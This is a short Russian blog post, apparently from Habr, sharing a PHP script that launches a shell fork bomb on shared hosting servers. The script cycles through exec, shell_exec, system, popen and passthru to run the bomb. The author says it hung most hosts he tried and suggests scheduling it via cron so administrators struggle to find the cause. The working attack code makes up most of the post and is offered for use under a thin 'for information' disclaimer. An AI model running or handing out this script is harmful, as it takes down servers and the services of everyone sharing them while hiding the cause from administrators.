Здравствуйте, уважаемые хабра-пользователи. Довольно давно я написал PHP скрипт — fork-бомбу и начал его тестировать на различных серверах/хостингах. На моё удивление, скрипт работал на 90% протестированных мною компаний. Я отписал об этой баге во многие компании, но прошло уже много времени, а она до сих пор актуальна.
Как работает скрипт
Для начала, мы проверяем, какие из нужных нам функций доступны на сервере. Всего их 5:
exec, shell_exec, system, is_resource, passthru.
Описывать каждую функцию я не буду, если Вам интересно, я оставил ссылки на них.
Далее мы просто выполняем форк-запрос через функцию, и если сервер уязвим, то ему поможет только перезагрузка.
Чем это грозит
Мало того, что скрипт вешает сервер, его можно поставить по крону и неопытный администратор будет долго искать причину, почему его сервер падает сразу после загрузки. Опытным это проблем не доставит, но все же не приятно.
Сам скрипт
//Функция тестирования
function TestFunc($in)
{
$out = '';
if (function_exists('exec'))
{
@exec($in, $out);
$out = @join("n", $out);
}
elseif (function_exists('shell_exec'))
{
$out = shell_exec($in);
}
elseif (function_exists('system'))
{
ob_start();
@system($in);
$out = ob_get_clean();
}
elseif (is_resource($f = @popen($in, "r")))
{
$out = "";
while (!@feof($f))
$out .= fread($f, 1024);
pclose($f);
}
elseif (function_exists('passthru'))
{
ob_start();
@passthru($in);
$out = ob_get_clean();
}
return $out;
}
echo TestFunc("echo '. ./_&. ./_&'>_;. ./_"); //Выполнение форка
Заключение
Внимание, Все операции вы выполняете на свой страх и риск! Статья написана для ознакомительных целей.
Автор: AlexanderPHP